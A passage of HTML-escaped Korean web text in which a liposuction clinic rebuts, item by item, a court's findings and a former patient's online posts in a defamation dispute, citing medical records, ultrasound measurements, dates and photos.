28mm로 기재하고 비너스의원의 총 흡입량은 1190ml, 지방량은 530ml이고 T의원의원의 총흡입량은 850 ,지방량은 450 임에도 흡입지방량이 비너스의원은 530ml이고 T의원의원은 850ml라는 취지로 말하며 객관적인 수치나 비교대상을 사실과 달리 표현하기는 하였으나, 이는 의료전문가가 아닌 피고의 착오 또는 이 사건 수술로 인한 불만족을 표현하기 위한 다소간의 과장에서 비롯된 것으로 보인다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[ 피고는 &amp;ldquo;비너스의원에서 수술후 옆구리 지방 두께가 28mm 남아있다&amp;rdquo;라고 했으나 T의원 진료기록부에는 옆구리 지방층이 12-14mm라고 기록되어 있으며 러브핸들은 24~26mm로 기록되어 있습니다. 그러나 의학논문에 의하면 피고의 비만도를 가진 체형에서는 옆구리는 10mm가 넘지 않습니다. 피고는 옆구리에 28mm 남아 있다고 게시글을 작성을 했으며 한번도 허리에 24~26mm 남아 있다고 말 한 적은 없습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;초음파지방두께.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/ef78616a8eb1e1c5bd45ab8d6eb9679f.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;초음파지방두께2.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/2d2c2ba76667103b4aed318f637fa8b9.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;수술하지않음1.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/d04da3e3a9863cffe785b5e71cce05e1.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;04_정원호-남현주_민사2심기록2019나14194호__Page_037.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/338b83e8e64f4e11815e9e6d373d01c3.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt; 피고가 네이트 판과 블로그에 올린 사진으로 뒷구리에 지방과 근육을 같이 잡아 놓고 옆구리 지방층을 잡으면 5~6cm 된다고 했던 허위사진&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;span style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;또한 지방량이 비너스의원은 복부와 러브핸들에서 530ml이고, T의원은 러브핸들만 850ml이다. 갑제11-5호증, 원고가 복부와 옆구리에서 530ml를 흡입하였는데, T의원 수술기록지에서는 수술시간 1시간 13분 소요되었고 지방량은 450ml를 제거했다고 기록되어 있음. 그러나 사실 피고의 비만도에서는 꼬리뼈 절개구로는 뒷등(뒷구리)과 옆구리 일부만 수술이 가능하므로 지방량은 350ml정도 예상이 되고 수술시간도 30분이면 족합니다.&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp; 사실 T의원의 수술기록지에는 T.Sol 1200ml, T.fat 850ml, Total aspirate 450ml 라고 적혀져 있는데 피고는 준비서면에서 T의원의 수술기록지에서 T.fat 850ml라고 되어 있어서 이를 지방량으로 생각하여 적었다고 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp; 흡입량에 지방이 들어 있으므로 흡입량이 지방량보다 항상 더 많습니다. 그렇다면 T의원은 &amp;ldquo;러브핸들&amp;rdquo;을 옆구리가 아닌 &amp;ldquo;뒷등&amp;rdquo;으로 알고 있고,&amp;nbsp; T.fat(지방량)와 Total aspirate(흡입량)을 구분하지 못하는 병원이며 초음파로 지방층 두께를 제대로 측정하지 못하는 병원입니다. ]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;850ml.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/d126b266445b23c5a4b3c5cee028a8ee.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;피고는 블로그 게시글에서 수술부위와 지방량을 거짓말을 함&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑤ 원고는 피고가 T의원의 수술전후사진을 조작하여 이 사건 게시글에 첨부하였다고 주장하나 원고가 제출한 증거만으로는 피고가 위 수술전후 사진을 조작하였다는 점을 인정하기 부족하고 달리 이를 인정할 만한 증거가 없다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[피고가 2017.5.22. 수술후 4개월째 촬영했다고 하면서 인터넷에 올린 사진은 앞서 5항에서 제시한 수술후 사진으로 원고가 촬영한 수술전 사진에 비해 키가 크거나 골반크기가 작았습니다. 지방흡입으로 지방층은 줄지만 근육이나 골격은 변화되지 않으므로 조작이 명확합니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;원고가 피고에게 원본사진을 제출하라는 요구에도 피고과 T의원은 원본 사진을 제출하지 않았으며, 사실조회 신청으로 T의원은 정면, 사면, 후면 사진은 편집하여 제출하였으나 원본사진은 제출하지 않았습니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;T의원의 진료기록부에는 2017.1.23. 수술 당일에는 수술사진을 촬영하지 않았음에도 2017.1.23. 촬영했다는 사진을 제출했습니다. 심지어 피고는 인터넷에 2017.5.22일 촬영한 사진을 2017.5.18.일 블로그에 게제하기도 하였으며, 2017.5.22. 동일한 날짜에 T의원에서 촬영했다는 사진은 서로 속옷이 다른 옷이고 골반크기와와 키도 서로 다릅니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;원심은 지방흡입 전문가들의 의견과 함께 이러한 증거들을 제시했음에도 피고의 사진조작에 대한 증명이 부족하다면 어떠한 증거가 필요한 것인지 밝혀 주시기 바랍니다. ]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;러브핸들명칭2.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/7b327e43d2f8aeac0be831ae27553933.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;블로그에 2017.5.22. T의원에서 촬영한 사진을 2017.5.18.에 게제함&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;반대로 원고병원에서 받은 사진은 아래 블로그 게시물처럼 수술후 사진을 크게 조작하여 수술효과가 나타나지 않도록 다른 사람들을 속였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;태그.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/12083451d5ceaca5368c39c2c5167058.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;원고에게 받은 수술전후 사진은 수술후 사진을 크게 편집하여 효과가 없는 것처럼 게제함&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑥ 피고가 네이버에 게시한 게시글은 원고의 게시 중단 요청에 의하여 2017. 5. 2.경 임시적으로 게시 중단된 사실이 있다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[피고는 &amp;ldquo;병원측에서 게시정지 신청하여 글이 삭제되는 바람에 몇 글 안 남았다&amp;rdquo; 라고 하였습니다. 그러나 아래 게시글을 보면 2017.5.11.일과 5.12일에 피고가 이의신청해서 피고의 게시글이 재개시 되었음을 알 수 있습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;재개시_17.5.12.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/359fceaeaf4546370c4bc12fd85d0259.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;피고가&amp;nbsp; 피고의 게시글이 이의신청으로 다시 게시되었음을 알리고 있음&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그럼에도 피고는 위 글을 &amp;ldquo;피고가 병원측에서 네이버에 게시정지 신청하여 글이 삭제되는 바람에 몇 글 안 남았다&amp;rdquo;라고 게시글을 작성한 것은 약 1년 뒤인 2018. 7월경으로서 피고는 재개시되었던 블로그 게시글 중 일부를 스스로 삭제하거나 비공개 설정을 하였음에도 원고의 게재중지 요청으로 삭제된 것처럼 거짓말을 하면서 피해자 행세를 하였습니다.&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 피고가 허위사실을 게재하여 네이버에 게재중지 요청을 하였으나 피고가 다시 재게재 신청을 하여 게재를 계속하여 원고에게 심각한 피해를 입혔던 것입니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 그림에서 게시글의 주소는 http://blog.naver.com/debakbuja/220940513367이며 게시글의 제목은 &amp;ldquo;수술전후 모습변화!도대체 뭘한건지!!&amp;ldquo;로서 게시글 주소로 들어가면 &amp;lsquo;비공개 글입니다&amp;rsquo; 라고 작성된 팝업창이 열리며 게시글이 삭제된 것이 아니고 피고 스스로 비공개 설정을 해놓은 것임을 알 수 있습니다.]&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;도데체뭘한건지_.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/c61b4b6774674fd5faa3cb2a03ee64fe.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;피고의 게시글 주소를 들어가면 이렇게 팝업창이 떠서 피고가 스스로 비공개한 글임을 알수 있음&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑦ 그 외의 이 사건 게시글 내용들은 피고가 자신의 의견을 표시한 것이거나, 원고가 제출한 증거만으로는 허위 사실이라고 인정하기 부족하다.&lt;/p&gt; &lt;p&gt;[ 그 외의 게시글의 허위사실 여부는 제 7항에서 설명합니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot; id=&quot;debak07&quot;&gt;7. 1심과 2심 판사가 판결문에 작성하지 않았으나 피고가 인터넷에 게제한 허위내용은 아래와 같습니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 피고가 게시한 게시물들중 명예훼손 및 허위사실을 게제한 게시물만 골라 총125개의 게시글에서 허위사실에 관한 내용만 요약 정리하여 97개의 게시글을 증거로 제출하였고 준비서면을 통해 여러차례 피고의 허위사실 게제에 대해 설명했습니다만 1심과 2심에서는 아래와 같이 많은 허위사실을 허위사실로 인정하지 않으며 누락시겼습니다(갑제8호증).&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;① 옆구리는 돈 받아 쳐먹고 전혀 손도 안댓더라구요 그래서 강남에서 옆구리만 재수술을 받았다. 사기 당했다. 그래놓고 근육이라 우겨서 다른데서 재수술 받아서 뺐습니다&lt;br /&gt; &lt;br /&gt; [원고는 피고에게 수술 직후에 수술실에서 촬영한 사진과 제거된 지방사진, 1주일과 1개월째에 수술전후 사진을 촬영하고 비교하여 제시하고, 초음파 기기로 수술한 부위의 지방 두께(허리 0.6cm 가량)를 확인하여 주었습니다. 그리고 원고는 피고에게 수술전후사진 원본을 메일로 전달하여 옆구리에 수술이 되었음을 확인시켜 주었습니다.&amp;nbsp;&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 T의원의 진료기록부에 있는 수술도안, T의원 CC원장과의 통화녹취록에 의하면 러브핸들이나 옆구리에 재수술을 받은 것이 아니고 엎드린 상태에서 꼬리뼈 절개구를 이용하여 뒷등(뒷구리)에 추가 수술을 받았습니다. 그리고 피고는 T의원에서 받은 수술부위에 대해 통증이 있으므로 제일 잘 알고 있을 것이니, 피고가 러브핸들에 재수술을 받았다고 게제 한 것은 고의적인 거짓말인 것입니다.&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;T의원의 진단서에도 &amp;lsquo;러브핸들 수술후 상태&amp;rsquo;라는 진단명이 있으나 T의원 CC는 옆구리와 러브핸들은 명확히 구분되는 부위라고 인식하고 있으므로 피고가 &amp;lsquo;옆구리에 재수술을 받았고 제거 되었다&amp;rsquo;는 내용은 명백한 허위사실입니다. 그리고 피고는 T의원에서 엎드린 자세에서 뒷등을 수술 받았음에도 수술후 사진을 조작하여 옆구리 돌출이 없어진 것처럼 조작하였습니다. 피고의 체형상 옆구리의 늘어진 근육은 지방흡입으로도 없어지지 않습니다.&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;원심은 피고가 수술이 제대로 되지 않았다는 것이 주된 내용이라고 하였지만 원고가 상처를 받고 명예훼손으로 피해를 입은 게시글 내용은 아래 게시글 처럼 &amp;rdquo;옆구리(러브핸들)에 수술을 하지 않았다. 사기당했다&amp;ldquo;라는 내용이었습니다. 아래 게시글 이외에도 이러한 내용의 글이 수 차례 더 게시되었는데 원고로서는 도저히 용인 할 수 없는 내용입니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;사기당함.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/cb2547f1d7026c205c018548aa7e8c15.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;사기당함1.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/161d6cc9d039f02bf7dd3c7b8e26f80d.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;부작용_68924_1.jpg&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/736/519/374d1be8ebdaa01c5f5a41141c3ccb74.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;수술하지않음3.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/d3e0a899c2c964c19bd06f32e499f015.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;② 수술실이 추워서 혈관을 찾지 못해 20번도 넘게 혈관을 찔러 팔뚝이 부었다.&lt;br /&gt; &lt;br /&gt; [비너스의원은 지방흡입 중점병원으로 수술방에 온돌이 깔려 있습니다. 소독액도 따뜻하게 데워서 환자가 춥지 않도록 배려합니다. 수술방 담당 간호 조무사는 보통 혈관을 3-4번 이내에 찾습니다, 간호조무사가 우선 혈관에 삽관하여 최대 3번까지 실패하면 원장을 호출하는 시스템을 구축하여 원고가 직접 삽관을 하고 있습니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;③ 발목에 주사하여 발목이 파래졌다.&lt;br /&gt; &lt;br /&gt; [복부지방흡입 수술은 팔에 혈관을 삽입하고 혈관 삽입이 어려운 발목에 잡을 리가 없음. 원고가 촬영한 피고의 수술전후사진을 보면 팔목에는 3군데의 멍이 있으나 발목에는 멍이 없습니다(갑제19호증).]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;발목사진.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/82edea305663f7ca075a1567cc23e037.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt; 원고가 촬영한 피고의 1주일 전후사진에서 발만 보이는 사진&amp;gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;④ 원고와 1년 가량 실갱이를 하였다&lt;br /&gt; &lt;br /&gt; [피고가 원고 상담실장과 주고 받은 문자메시지를 확인하면 피고가 원고에게 수술을 받은 날짜는 2016. 3. 7.이며, 그 후 최초 진료상담예약을 한 때는 2016. 11. 5.이며(당시 원고는 휴진 중이었고 당시 실갱이를 한 적이 없음), 피고가 원고(상담실장)에게 &amp;lsquo;최초로&amp;rsquo; 항의한 날짜는 2017. 1. 18.입니다(갑제5호증). 그리고 피고가 원고 비너스의원의 진료예약을 취소하자 원고가 피고에게 전화하여 주말이나 야간에도 무료로 진료를 해주겠으니 내원하라고 통화한 것은 2017.1.21.일이며 피고가 원고 비너스의원의 진료를 회피하고 T의원에서 뒷등(뒷구리)에 수술을 받은 것은 2017. 1.23.입니다.&lt;br /&gt; &lt;br /&gt; 그러므로 피고가 원고와 상담실장에게 &amp;lsquo;다른 병원에 갔더니 옆구리(러브핸들)에 28mm나 남아 있다고 하고 옆구리에 수술이 안되어 있다고 한다&amp;rsquo;라고 항의한 것은 불과 5일에 불과합니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;1년가량실갱이.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/718c0c5a91eee3c269f56f8017447fbd.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;정원호-남현주(재판기록2018가합105070)_Page_023.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/ddb745bd605e54f7f79d8a526d30e17c.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;원고 상담실장과 피고가 주고받은 메시지 내용&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑤1년 가량 실갱이하다가 결국 서울에서 재수술했는데 제거됐습니다.&lt;br /&gt; &lt;br /&gt; [피고가 서울 T의원에서 수술을 받은 날짜는 2017. 1. 23. 임에도 피고는 2017. 1.20. ~ 2017. 1.23. 새벽까지 6차례(갑제8호증 순번1부터 순번6까지)나 서울에서 재수술을 받아 옆구리의 지방이 제거되었다는 허위 글을 올렸습니다. 수술도 받지 않는 상태에서 즉 수술 경험도 없는 사람이 경험담처럼 옆구리 돌출이 제거되었다고 허위내용으로 게시글을 올린 것은 피고의 의도가 정보공유의 목적이라고 볼 수 없습니다.]&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;2017-01-20-11-39-28_.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/8ad5d79e0c188ab782837ce10058738c.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;2017-01-21-01-34-53_.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/9eb99b84a5eb932f1372bdbccf180ae6.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑥ 미친거 아냐? 어떤 사람이 지방흡입하는데 맨정신에 국소마취로 수술한답니까?&lt;br /&gt; &lt;br /&gt; [국소마취 단독으로도 많이 하고 더 안전함, 피고의 이러한 허위정보로 일반인들은 국소마취 지방흡입을 하는 의사는 미친 사람으로 인식하게 되었습니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑦ 환자가 불만족스러워도 AS는 네버 돈 받아쳐먹고 부위 빠뜨림. 앞에도 울퉁불퉁하고 수술 후 책임 절대 안짐 as 해주기 싫어 핑계대고 피함&lt;br /&gt; &lt;br /&gt; [피고가 제시한 을제9호증 사진을 보면 수술후 부작용이 없으며 전측 복부와 옆구리 라인도 자연스러운 모습입니다.&lt;br /&gt; &lt;br /&gt; 피고가 항의한 것은 2017. 1. 18.부터 T의원에서 뒷등(뒷구리)를 수술받기 전인 2017.1.23.까지 옆구리에 28mm가 남아 있다고 하면서 항의한 것이고 수술에 부작용이 생겨 AS를 요구한 적은 한번도 없었습니다. 수술후 10개월이 지난 환자가 갑자기 옆구리에 수술이 되지 않았다고 전화를 하여 항의를 하고 내원도 하지 않으면 의사는 어떠한 상태인지 진찰도 없이 바로 환불해 주어야 하는 것입니까? ]&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;부작용_68924_1.jpg&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/736/519/374d1be8ebdaa01c5f5a41141c3ccb74.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑧ 옆구리를 집게 손가락으로 잡으면 5~6cm정도의 두께가 잡힙니다(아래 사진)&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;04_정원호-남현주_민사2심기록2019나14194호__Page_037.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/338b83e8e64f4e11815e9e6d373d01c3.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;피고가 뒷구리의 지방과 근육을 함께 잡은 사진으로 허위사진임&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[피고가 집게 손가락을 잡은 것은 뒷구리를 잡은 사진이며 또한 지방을 잡은 것이 아니고 지방과 근육을 같이 잡은 것입니다. 의학적으로 피고의 체형상 옆구리의 피하지방층은 10mm가 넘지 않으므로 정확하게 잡으면 20mm가 되지 않을 것입니다. 피고는 원고가 옆구리에 지방흡입을 하지 않았다는 증거로 이 사진을 이용하여 다른 사람을 속였습니다. 원고는 준비서면을 통해 여러차례 이러한 사실을 알렸지만 피고는 이에 대해 답변하지 않았으며 원심은 이러한 허위사진을 판결에 인용하지 않았습니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑨ 1년이 넘어도 치골에 시커먼 흉터가 있다.&lt;br /&gt; &lt;br /&gt; [흡입 구멍은 치골이 아니라 옆구리임, 수술후 1개월 원고 병원에서 수술후 1개월째 촬영한 사진에 갈색 흉터가 있으나 이는 수술 후 회복기에 정상적으로 있는 색소침착 현상이며 수술후 1년이 지나 T의원에서 촬영한 사진에는 흉터가 보이지 않습니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑩ 비너스 초음파는 잘 안 보인다. T의원은 화질이 비너스꺼보다 선명해 확실하게 지방과 근육을 구별하여 설명해 주는데 알아보기 쉬웠습니다.&lt;br /&gt; &lt;br /&gt; [메디슨 모델명 sonoace 9900으로서 삼차원 입체초음파도 가능한 고성능 초음파 검사장비임. 일반인이 초음파의 품질을 비교한다는 것 자체가 넌센스입니다. T의원의 초음파 결과에서 옆구리 지방층 두께가 28mm 나왔는데 이는 의학적으로 불가능하니 초음파로 지방과 근육이 구분이 더 잘되었다는 말도 허위사실입니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑪ 수술 전 초음파검사 안 해 줍니다. 다른 데는 수술 전후 다합니다.&lt;br /&gt; &lt;br /&gt; [지방흡입 수술을 중점진료 하는 병원이라 하더라도 수술전후 초음파 검사하는 병원 거의 없습니다. T의원의 진료기록부에 의하면 수술전 초음파 검사는 하고 수술후 초음파 검사는 하지 않았습니다. 비너스의원은 피고를 수술후에 초음파 검사를 했습니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑫ (T의원에서는) 러브핸들은 통상 복부(옆+뒤)라고 하더다라고요. 그리고 복부+러브핸들/등 이렇게 나누지....&lt;br /&gt; &lt;br /&gt; [원고의 해명 글을 읽은 일부 회원들이 &amp;ldquo;병원측 말을 들으면 병원이 맞는 것 같고, 피고 말을 들으면 피고 말이 맞는 것 같다&amp;rdquo;고 하면서 T의원은 러브핸들을 어떻게 부르냐고 질문을 하였는데 피고는 T의원은 러브핸들이 옆구리에 있는 것처럼 거짓말을 했습니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;원고와 전화 통화를 했던 T의원의 CC 원장은 러브핸들 부위는 앞쪽에서는 접근이 안되므로 꼬리뼈에서만 접근이 가능한 부위이고 즉 엎드려서 수술하는 부위라고 하였으며 러브핸들과 옆구리(flank)는 명확하게 구분된다고 하였습니다(갑제9-3호).&amp;nbsp;&lt;/p&gt; &lt;p&gt;또한 T의원의 초음파 기록지에는 러브핸들의 초음파 두께를 24~26mm와 옆구리의 초음파 두께를 12~14mm로 각각 명확하게 구분하여 작성 되어 있습니다.&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;이러한 상황은 피고는 T의원에서 꼬리뼈 절개구로 뒷등(뒷구리)를 수술을 받아서 T의원의 러브핸들은 뒷등이라는 것을 알고서도 고의적으로 옆구리에 재수술을 받았다고 거짓말을 했음을 의미합니다.]&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;img alt=&quot;러브핸들구분2017-09-04-21-06_.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/93b497a66bf5ae6fa98484d174202f02.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑬ 지방불균형 비대칭등 몸매교정하러 갔는데 한건지 만건지 1년동안 실갱이 하였다.&lt;br /&gt; &lt;br /&gt; [저희 비너스의원에서 수술을 받은 것은 2016.3.7.이고 2017.1.16. T의원에서 상담 진료를 받은 이후 항의를 시작한 것은 2017.1.19. 그리고 T의원에서 수술한 것은 2017.1.23.로서 총 5일동안 항의하였습니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;피고가 원고 병원에서 수술받은 이후 1년 뒤 2017.5.22. T의원에서 촬영한 사진을 보면 원고가 수술한 부위인 전측복부와 옆구리는 자연스럽고 매끄러운 상태를 보이고 있습니다. 피고는 안티성형카페에 수술에 합병증이 있었던 것은 아니고 돈만 받고 수술을 하지 않았다 사기당했다고 하였습니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;부작용_68924_1.jpg&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/736/519/374d1be8ebdaa01c5f5a41141c3ccb74.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;수술하지않음3.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/d3e0a899c2c964c19bd06f32e499f015.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;사기당함.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/cb2547f1d7026c205c018548aa7e8c15.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑭ T의원은 흉터가 없고 보이지 않는 곳에 잘해 주셨다.&lt;br /&gt; &lt;br /&gt; [T의원 진료기록부에 의하면 꼬리뼈에 절개구를 두었고 수술후 11일째에 합병증이 생겨 풀었던 실밥을 다시 봉합하고 2주동안 치료를 받았는데도 피고는 그 사실을 숨기고 잘해 주었다고 거짓말을 했습니다. 또한 아무리 정교하게 지방흡입을 하여도 흉터가 없는 수술은 없습니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;반대로 비너스의원에서 합병증이 발생하지 않았고 흉터도 없는데 1년이 지나도 치골에 시커먼 흉터가 남았다고 거짓말을 한 것은 피고가 원고를 비하하려는 의도가 있다고 봐야 합니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑮ 비너스는 댓글 알바를 써서 과장광고하고 다른 병원 헐뜯는 악질이다.&lt;br /&gt; &lt;br /&gt; [피고가 증거로 제출한 것 처럼 2012년 11~12월에 병원직원이 한시적으로 몇개의 답글을 작성하였을 뿐 원고는 댓글 알바를 사용한 적이 없고 어떻게 댓글 알바를 구하는 지도 모릅니다. 피고는 검색을 통해 2012년도 일정기간에만 댓글이 발견되었던 것을 알면서도 원고가 댓글 알바를 쓰고 수술하지도 않는 사람이 한 것처럼 광고는 하는 악질이라고 한 것은 고의적인 비방이라 할 것입니다. 또한 네이버 지식인은 홍보성 글에 대하여 아이디 사용이 중지되므로 홍보활동을 할 수 없습니다.]&lt;br 